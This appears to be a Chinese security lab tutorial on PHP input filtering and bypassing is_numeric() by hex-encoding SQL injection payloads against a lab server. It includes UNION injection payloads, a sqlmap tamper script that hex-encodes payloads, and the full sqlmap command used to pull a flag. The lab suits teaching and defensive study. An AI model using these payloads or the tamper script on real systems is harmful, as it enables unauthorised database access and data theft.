目录
- 预备知识
- PHP常用的过滤类函数
- is_numeric()函数介绍
- 实验目的
- 实验环境
- 实验步骤一
- 通过源代码审计,发现临时文件
- 实验步骤二
- 通过分析源代码的执行逻辑,了解程序的功能,发现程序中的安全漏洞
- 实验步骤三
- 绕过过滤函数实现SQL注入
预备知识
PHP常用的过滤类函数
(1)当php.ini配置文件开启了magic_quotes_runtime和magic_quotes_gpc时,PHP中的get_magic_quotes_gpc()和get_magic_quotes_runtime()函数就会自动的对指定范围内的数据进行转义。其中,magic_quotes_gpc主要作用于web客户端,简单的说主要是对$_GET、$_POST、$_COOKE中的数据进行过滤;magic_quotes_runtime主要是对文件中读取的数据或从数据库查询得到的数据进行过滤。
(2)mysql_real_escape_string()、addslashes()可对数据中的单引号、双引号进行转义,能够有效地防止大多数SQL注入攻击;mysql_real_escape_string()考虑了字符集,比addslashes()具有更高的安全性。当前的字符集是单字节的话,这两个函数作用相同,都可以起到转义过滤的作用,但是,随着UTF-8等字符集得到越来越广泛的使用,它们也逐渐不能满足要求了。
(3)此外,还用于过滤的还有字符串操作常用函数preg_match、strlen、strcmp、strtolower、bl2br(将换行符转换为HTML终止标记)、htmlentities、htmlspecialchars(将特殊字符转换wieldHTML等价形式,且不解析格式)等,还有isset、is_numeric、empty等表单验证函数。
is_numeric()函数介绍
本实验中的is_numeric()函数用于检测变量是否为数字或数字字符串。
如果将二进制或十六进制数据传递至is_numeric()函数,则也会返回为true,即被is_numeric()函数检测是数字。现在,我们进行测试。编写is_numeric.php文件,并将以下代码输入后,保存。
<?php
$v = is_numeric (0x32DA) ? true : false;
var_dump ($v);
?>
再执行该程序,可得到结果:bool(true)。
vim is_numeric.php
php !$(!$代表上一条命令的最后一个参数,即is_numeric.php)
实验目的
1.了解PHP常用的过滤函数。
2.掌握SQLMAP通过tarmper实现注入攻击的利用方法。
实验环境
学生实验主机:Kali Linux。
实验目标服务器:CentOS 6.5 64bit,IP:10.1.1.8。
网络环境:实验室局域网。
Web服务器:Apache/2.2.15 (Unix)。
脚本语言:PHP。
数据库:MySQL 5.1.71。
相关工具:SQLMap、python。
实验步骤一
通过源代码审计,发现临时文件
访问目标网站http://10.1.1.8,如下图所示:
通过查看源代码,在最后一行发现注释中包含“index.phps”文件,于是再访问该文件:
http://10.1.1.8/index.phps,可查看到index.php的源代码:
实验步骤二
通过分析源代码的执行逻辑,了解程序的功能,发现程序中的安全漏洞
从源代码中可以分析出,服务器从POST获得id标签的值,首先利用is_numeric()函数判断id是否为数字或数字字符串,如果不是,则提示“hacking attemp(发现黑客尝试攻击行为)”,如下图所示。
接着,将id、vote、login写入数据库;再从数据库中取出id。从上可看出,id是被is_numeric过滤后,插入到vote表里的,然后又从vote表里取出,可以用十六进制或者二进制绕过is_numeric,形成SQL注入。
绕过is_numeric()的方法:将SQL注入的payload转换为十六进制表示。
例如,payload为2’ and 1=1,则先选中该payload,利用Firefox中的hackbar工具,选择Encoding→HEX Encoding→String to 00ff00ff,即可完成十六进制转换,转换结果为322720616e6420313d31;接着,为了让PHP知道该字符串是十六进制数据,还需要在前面加上0x,最终变成0x322720616e6420313d31。
选中payload。
十六进制转换。
加上0x。
实验步骤三
绕过过滤函数实现SQL注入
在本实验中,flag存在于mysql数据库的某个表中。尝试绕过is_numeric的限制实现SQL注入攻击,获取flag。
SQL执行语句为:
SELECT id FROM vote WHERE user = '{$login}' GROUP BY id
为此,我们使用UNION注入,可以构造攻击载荷payload为:
-1 UNION ALL SELECT XXXX
利用Firefox的hackbar工具,可以将payload进行十六进制转码。如下图所示,我们将payload=“-1 union all select database()”进行转码(注意:在转码后,还须在十六进制字符串前加上0x)实现SQL注入,获取到了数据库的名称:task。
同理,我们可通过相同的方式,一步步查找所有表、获取表中的列名,最终获得flag。Payload为-1 union select flag from Flag。
既然知道了绕过限制的原理,我们可以自行编写tamper脚本,利用sqlmap实现自动SQL注入。
脚本如下:
#!/usr/bin/env python
import binascii
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return ('0x' + binascii.hexlify(payload.encode(UNICODE_ENCODING))) if payload else payload
SQLMAP执行命令为:
sqlmap -u http://10.1.1.8/index.php --tamper /usr/share/sqlmap/tamper/hexencode.py --data="id=1&vote=2&submit=Submit" -p id
至此,已经获得flag,完成了我们本节课的实验。